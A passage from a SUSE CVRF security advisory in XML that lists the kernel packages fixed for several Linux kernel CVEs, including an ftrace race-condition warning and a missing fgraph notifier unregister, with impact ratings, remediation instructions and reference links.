        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-39689.html</URL>
        <Description>CVE-2025-39689</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1249307</URL>
        <Description>SUSE Bug 1249307</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="12">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ftrace: Fix potential warning in trace_printk_seq during ftrace_dump

When calling ftrace_dump_one() concurrently with reading trace_pipe,
a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race
condition.

The issue occurs because:

CPU0 (ftrace_dump)                              CPU1 (reader)
echo z &gt; /proc/sysrq-trigger

!trace_empty(&amp;iter)
trace_iterator_reset(&amp;iter) &lt;- len = size = 0
                                                cat /sys/kernel/tracing/trace_pipe
trace_find_next_entry_inc(&amp;iter)
  __find_next_entry
    ring_buffer_empty_cpu &lt;- all empty
  return NULL

trace_printk_seq(&amp;iter.seq)
  WARN_ON_ONCE(s-&gt;seq.len &gt;= s-&gt;seq.size)

In the context between trace_empty() and trace_find_next_entry_inc()
during ftrace_dump, the ring buffer data was consumed by other readers.
This caused trace_find_next_entry_inc to return NULL, failing to populate
`iter.seq`. At this point, due to the prior trace_iterator_reset, both
`iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal,
the WARN_ON_ONCE condition is triggered.

Move the trace_printk_seq() into the if block that checks to make sure the
return value of trace_find_next_entry_inc() is non-NULL in
ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before
subsequent operations.</Note>
    </Notes>
    <CVE>CVE-2025-39813</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-39813.html</URL>
        <Description>CVE-2025-39813</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1250032</URL>
        <Description>SUSE Bug 1250032</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="13">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

trace/fgraph: Fix the warning caused by missing unregister notifier

This warning was triggered during testing on v6.16:

notifier callback ftrace_suspend_notifier_call already registered
WARNING: CPU: 2 PID: 86 at kernel/notifier.c:23 notifier_chain_register+0x44/0xb0
...
Call Trace:
 &lt;TASK&gt;
 blocking_notifier_chain_register+0x34/0x60
 register_ftrace_graph+0x330/0x410
 ftrace_profile_write+0x1e9/0x340
 vfs_write+0xf8/0x420
 ? filp_flush+0x8a/0xa0
 ? filp_close+0x1f/0x30
 ? do_dup2+0xaf/0x160
 ksys_write+0x65/0xe0
 do_syscall_64+0xa4/0x260
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

When writing to the function_profile_enabled interface, the notifier was
not unregistered after start_graph_tracing failed, causing a warning the
next time function_profile_enabled was written.

Fixed by adding unregister_pm_notifier in the exception path.</Note>
    </Notes>
    <CVE>CVE-2025-39829</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
